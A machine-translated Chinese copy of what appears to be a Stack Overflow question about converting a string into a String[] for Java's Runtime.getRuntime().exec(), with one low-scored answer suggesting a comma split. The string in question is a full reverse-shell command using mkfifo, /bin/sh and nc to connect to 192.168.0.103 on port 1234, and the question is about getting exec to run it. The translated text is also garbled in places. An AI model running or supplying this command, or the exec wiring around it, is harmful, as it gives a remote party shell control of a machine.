我有像
这样的方法public String doSomething(String paramString) {
try {
//do something with paramString and store it in myNewValue
return new String(myNewValue, "UTF8");
} catch blocks...
}
假设doSomething()
最后返回以下字符串:
{"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}
现在它实际上是一个字符串数组,如果你看一下它,但由于它是从doSomething()
作为字符串返回的,所以它被视为一个字符串而不是String[]
。
现在让我们说上面的字符串存储在str3中:
String str3 = doSomething();
现在无论如何使用:
Runtime.getRuntime().exec();
str3
可以转换为String[]
并传回Runtime.getRuntime().exec();
基本上类似于:
Runtime.getRuntime()。exec(这里有一些java magic将str3转换为String [],然后将此String []传递给此exec方法本身);
答案 0 :(得分:-3)
您可以将字符串拆分为,
,假设数组中的任何字符串都不包含,
String [] string3 = doSomething(foo).split(&#34;,&#34;);